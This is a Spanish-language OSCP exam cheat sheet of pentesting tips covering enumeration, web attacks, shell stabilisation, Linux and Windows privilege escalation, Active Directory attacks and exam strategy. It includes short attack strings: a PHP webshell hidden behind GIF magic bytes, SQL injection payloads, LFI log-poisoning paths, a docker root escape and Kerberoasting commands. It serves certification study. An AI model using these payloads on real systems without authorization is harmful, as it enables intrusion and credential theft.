# Trucos y Trampas — OSCP / Pentest

> Compilado de cultura pública (TJ Null, ippsec, 0xdf, Heath Adams, /r/oscp, HackTricks, foros HTB).
> **No** son contenidos del Discord privado de OffSec ni material bajo NDA.
> Son **anti-rabbit-holes**, **detalles olvidados** y **patrones que se repiten** en máquinas estilo OSCP.

---

## Trampas de enumeración (donde la gente pierde 4 horas)

```
─ Olvidar UDP ────────────────────────────────────────────
   nmap -sU --top-ports 50 -T4 IP
   SNMP (161), TFTP (69), NTP (123) suelen dar oro

─ Olvidar puertos altos ──────────────────────────────────
   nmap solo escanea top 1000 por defecto
   SIEMPRE: nmap -p- --min-rate=5000 IP  (los 65535)

─ Olvidar vhosts/subdominios ─────────────────────────────
   Si te encuentras "default Apache page", prueba:
   gobuster vhost -u http://IP -w /usr/share/seclists/Discovery/DNS/...
   ffuf -H "Host: FUZZ.objetivo.htb" -u http://IP

─ /etc/hosts no actualizado ──────────────────────────────
   Si la web carga rara o redirige, mira el "Host:" header
   Añade el dominio a /etc/hosts SIEMPRE que aparezca

─ HTTPS revela hostnames ─────────────────────────────────
   openssl s_client -connect IP:443
   El cert te puede chivar el dominio real

─ Wordlists pequeñas ─────────────────────────────────────
   common.txt = junior level
   Para OSCP: raft-large-words.txt, directory-list-2.3-medium.txt
   gobuster -w /usr/share/seclists/Discovery/Web-Content/raft-large-...
```

---

## Trampas web

```
─ "robots.txt es perezoso" ───────────────────────────────
   Mira también: sitemap.xml, .git/, .svn/, .htaccess,
   .DS_Store, backup/, old/, dev/, test/, admin/

─ Source HTML / JS ───────────────────────────────────────
   Ctrl+U siempre. Comentarios con creds, paths, endpoints
   JS embebidos con APIs ocultas (LinkFinder, JSparser)

─ LFI → RCE ──────────────────────────────────────────────
   Si tienes LFI básico, prueba:
     /proc/self/environ          (con User-Agent malicioso)
     /var/log/apache2/access.log (poison + curl con UA payload)
     php://filter/convert.base64-encode/resource=index.php
     data://, expect://, phar:// (PHP wrappers)

─ Upload "filtrado" ──────────────────────────────────────
   Doble extensión: shell.php.jpg, shell.phtml, .phar, .pht
   Magic bytes: GIF89a;<?php system($_GET['c']); ?>
   Burp → cambia Content-Type a image/jpeg
   .htaccess para reasignar handler

─ SQLi sin sqlmap ────────────────────────────────────────
   Aprende manual primero. sqlmap a veces miente.
   Para login: ' OR '1'='1'-- - (con space-doble-dash-space)
   Time-based: ' AND SLEEP(5)-- -
```

---

## Trampas de shell

```
─ Shell rota = tortura ────────────────────────────────────
   python3 -c 'import pty; pty.spawn("/bin/bash")'
   Ctrl+Z
   stty raw -echo; fg
   export TERM=xterm
   stty rows 40 columns 120
   (rows/cols los sacas con "stty size" en TU kali)

─ Listener equivocado ────────────────────────────────────
   nc clásico para Linux victim
   ncat --ssl para evitar IDS
   stty raw -echo + nc para Windows ConPtyShell

─ Egress filtering ───────────────────────────────────────
   El firewall del objetivo bloquea ciertos puertos
   PRUEBA: 80, 443, 8080, 53, 4444. Si nada, ICMP shell.
```

---

## Privesc Linux — los 10 olvidados

```
1.  SUID exóticos     → find / -perm -4000 2>/dev/null
                        (y luego GTFOBins cada uno)
2.  sudo -l           → SIEMPRE primero, sin password
3.  Capabilities      → getcap -r / 2>/dev/null
                        (cap_setuid en python/perl = root)
4.  Cron escribibles  → cat /etc/crontab, /var/spool/cron
                        Scripts que tú puedes editar
5.  Wildcard injection→ "tar czf /backup/* " con file --checkpoint
6.  PATH abuse        → si un script SUID llama "ps" sin ruta
                        absoluta, creas ./ps malicioso
7.  NFS no_root_squash→ showmount -e ; montas y subes SUID
8.  Docker group      → si estás en grupo "docker", eres root:
                        docker run -v /:/mnt -it alpine chroot /mnt
9.  Kernel exploits   → último recurso. DirtyCow, DirtyPipe
                        (uname -a; searchsploit kernel x.x)
10. Caps de archivo   → /var/backups, /etc/passwd escribible,
                        /etc/shadow legible
```

---

## Privesc Windows — los 10 olvidados

```
1.  whoami /priv      → busca SeImpersonate, SeAssignPrimaryToken
                        → JuicyPotato, PrintSpoofer, GodPotato
2.  Unquoted services → wmic service get name,pathname,startmode
                        Path con espacios sin comillas + carpeta
                        escribible = exe propio
3.  AlwaysInstallElev → reg query HKLM\Software\Policies\Microsoft\
                        Windows\Installer
                        Si ambos = 1 → msi propio = SYSTEM
4.  Service permisos  → accesschk.exe -uwcqv user *
                        SERVICE_CHANGE_CONFIG = ownership
5.  Credenciales en disco→ recurse find:
                        Unattend.xml, sysprep.inf, web.config,
                        cmdkey /list, registry SAM/SYSTEM
6.  AutoLogon en regis→ HKLM\SOFTWARE\Microsoft\Windows NT\
                        CurrentVersion\Winlogon
7.  Pass spraying     → la misma pass del user normal contra
                        admin, administrator, sa, sysadmin
8.  WSL / OpenSSH server → veces hay credenciales en .bash_history
9.  Scheduled tasks   → schtasks /query /fo LIST /v
                        Tareas con scripts editables
10. UAC bypass + token impersonation
```

---

## Active Directory — los 7 caminos que SIEMPRE pruebas

```
1.  Anonymous SMB     → smbclient -L //IP -N
                        nxc smb IP -u "" -p ""
2.  AS-REP Roasting   → impacket-GetNPUsers dominio/ -usersfile users.txt -no-pass
                        (usuarios con "Do not require pre-auth")
3.  Kerberoasting     → impacket-GetUserSPNs dominio/user:pass -request
                        (cuentas de servicio con SPN)
4.  GPP cpassword     → buscar en \\DC\SYSVOL\<dom>\Policies\
                        Groups.xml con cpassword (rotos en clave AES fija)
5.  LAPS              → nxc ldap IP -u u -p p --module laps
6.  ACL abuses        → BloodHound te los pinta:
                        GenericAll, WriteDACL, AddMember, ForceChangePassword
7.  DCSync            → con permisos DS-Replication, dumpear todo el dominio
```

---

## Trampas de "examen real" (anti-pánico)

```
─ Time management ────────────────────────────────────────
   24h ≠ 24h. Duermes 6h. Comes. Te duchas.
   Regla: 1.5h sin progreso = cambia de máquina.
   Cierra y vuelve más tarde con cabeza fresca.

─ Documentación EN VIVO ──────────────────────────────────
   Captura TODO con Flameshot/Greenshot mientras lo haces.
   No al final. Al final no recuerdas el comando exacto.
   Cada flag con hostname visible (ipconfig/ifconfig).
   local.txt = user proof, proof.txt = root proof.

─ Reutilización de credenciales ──────────────────────────
   La pass del usuario A muchas veces vale para usuario B.
   PRUEBA siempre cada pass que pillas contra TODOS los hosts.

─ El AD set es 40 puntos seguidos ────────────────────────
   3 máquinas encadenadas. Si te atascas en máquina 1,
   no avanzas en 2 y 3. Empieza por ahí con tiempo.

─ Standalones independientes ─────────────────────────────
   3 máquinas independientes de 20pts cada una.
   user (10pt) + root (20pt). Saca user de las 3
   ANTES de obsesionarte con root de una.

─ Reporte cuenta ─────────────────────────────────────────
   Sin reporte, no apruebas, aunque saques 100 puntos
   técnicos. 24h después del examen. Markdown template:
   https://github.com/noraj/OSCP-Exam-Report-Template-Markdown

─ Metasploit limitado ────────────────────────────────────
   Puedes usarlo solo en UNA máquina.
   meterpreter post-explotation no cuenta como "uso"
   solo el initial foothold cuenta.
```

---

## Recursos públicos donde sí está todo esto

| Recurso | Por qué importa |
|---|---|
| **TJ Null's OSCP-like list** (en Reddit) | Lista actualizada de máquinas HTB/THM equivalentes a OSCP |
| **ippsec.rocks** | Buscador de writeups por técnica ("kerberoasting" → te lista todas las máquinas HTB donde aparece) |
| **0xdf.gitlab.io** | Writeups detalladísimos con explicación pedagógica |
| **PayloadsAllTheThings** | Cheatsheet de todo lo web |
| **HackTricks (book.hacktricks.xyz)** | La biblia. Lo busques lo que busques está ahí |
| **GTFOBins / LOLBAS** | Para privesc Linux y LOLBins Windows |
| **/r/oscp** | Subreddit con experiencias de examinados (sin spoilers) |
| **Discord públicos**: HTB, TryHackMe, NetSecFocus | Comunidades activas que SÍ puedes consultar |

---

## Truco meta de meta-trucos

El truco real del OSCP no es saber 200 técnicas. Es **tener una metodología repetible**:

```
Enumeración exhaustiva → vector → foothold →
PrivEsc con script automatizado + revisión manual →
documentar antes de pasar a siguiente máquina
```

La gente suspende por **saltarse pasos** o por **obsesionarse con un vector**, no por desconocimiento técnico.
